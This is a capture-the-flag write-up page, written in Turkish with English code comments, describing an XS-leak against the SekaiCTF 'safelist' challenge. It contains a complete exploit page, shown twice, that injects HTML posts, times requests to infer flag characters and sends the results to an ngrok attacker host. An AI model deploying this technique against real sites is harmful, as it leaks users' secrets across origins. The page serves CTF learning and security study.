Event Loop Blocking + Lazy images

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In this exploit, @aszx87410 temiz görüntü yan kanalı tekniğini bir HTML enjeksiyonu ile event loop blocking technique ile birleştirerek karakterleri sızdırıyor.

Bu, aşağıdaki sayfada zaten yorumlanmış olan CTF zorluğu için farklı bir istismar. Zorluk hakkında daha fazla bilgi için göz atın:

Bu istismarın arkasındaki fikir:

Gönderiler alfabetik olarak yüklenir.
Bir saldırgan "A" ile başlayan bir gönderi enjekte edebilir, ardından büyük bir <canvas gibi bazı HTML etiketleri ekranın çoğunu dolduracak ve bazı son <img lazy etiketleri yüklemek için kullanılacaktır.
Eğer bir "A" yerine saldırgan aynı gönderiyi "z" ile başlatarak enjeksiyon yaparsa. Bayrak ile olan gönderi ilk olarak görünecek, ardından enjekte edilen gönderi "z" ile başlayacak ve büyük canvas görünecektir. Bayrak ile olan gönderi ilk göründüğü için, ilk canvas tüm ekranı kaplayacak ve son <img lazy etiketleri ekranda görünmeyecek, bu nedenle yüklenmeyecek.
Sonra, bot sayfaya erişirken, saldırgan fetch istekleri gönderecektir.
Eğer gönderideki görüntüler yükleniyorsa, bu fetch istekleri daha uzun sürecektir, bu nedenle saldırgan gönderinin bayraktan önce olduğunu bilecektir (alfabetik olarak).
Eğer fetch istekleri hızlıysa, bu, gönderinin bayraktan alfabetik olarak sonra olduğunu gösterir.

Kodumuza bakalım:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>

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Previousperformance.now + Force heavy task NextJavaScript Execution XS Leak

Last updated 4 months ago

<!DOCTYPE html> <html>  <body> <button onclick="run()">start</button>  <form id=f action="http://localhost:1234/create" method="POST" target="_blank"> <input id=inp name="text" value=""> </form>  <form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank"> <input id=inp2 name="index" value=""> </form> <script> let flag = 'SEKAI{' const TARGET = 'https://safelist.ctf.sekai.team' f.action = TARGET + '/create' f2.action = TARGET + '/remove' const sleep = ms => new Promise(r => setTimeout(r, ms)) // Function to leak info to attacker const send = data => fetch('http://server.ngrok.io?d='+data) const charset = 'abcdefghijklmnopqrstuvwxyz'.split('') // start exploit let count = 0 setTimeout(async () => { let L = 0 let R = charset.length - 1 // I have omited code here as apparently it wasn't necesary // fallback to linerar since I am not familiar with binary search lol for(let i=R; i>=L; i--) { let c = charset[i] send('try_' + flag + c) const found = await testChar(flag + c) if (found) { send('found: '+ flag+c) flag += c break } } }, 0) async function testChar(str) { return new Promise(resolve => { /* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold If starts with "A", the image should be loaded because it's in the threshold. */ // <canvas height="3350px"> is experimental and allow to show the injected // images when the post injected is the first one but to hide them when // the injected post is after the post with the flag inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('') f.submit() setTimeout(() => { run(str, resolve) }, 500) }) } async function run(str, resolve) { // Open posts page 5 times for(let i=1; i<=5;i++) { window.open(TARGET) } let t = 0 const round = 30 //Lets time 30 requests setTimeout(async () => { // Send 30 requests and time each for(let i=0; i<round; i++) { let s = performance.now() await fetch(TARGET + '/?test', { mode: 'no-cors' }).catch(err=>1) let end = performance.now() t += end - s console.log(end - s) } const avg = t/round // Send info about how much time it took send(str + "," + t + "," + "avg:" + avg) /* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */ const isFound = (t >= 1000) if (isFound) { inp2.value = "0" } else { inp2.value = "1" } // remember to delete the post to not break our leak oracle f2.submit() setTimeout(() => { resolve(isFound) }, 200) }, 200) } </script> </body> </html>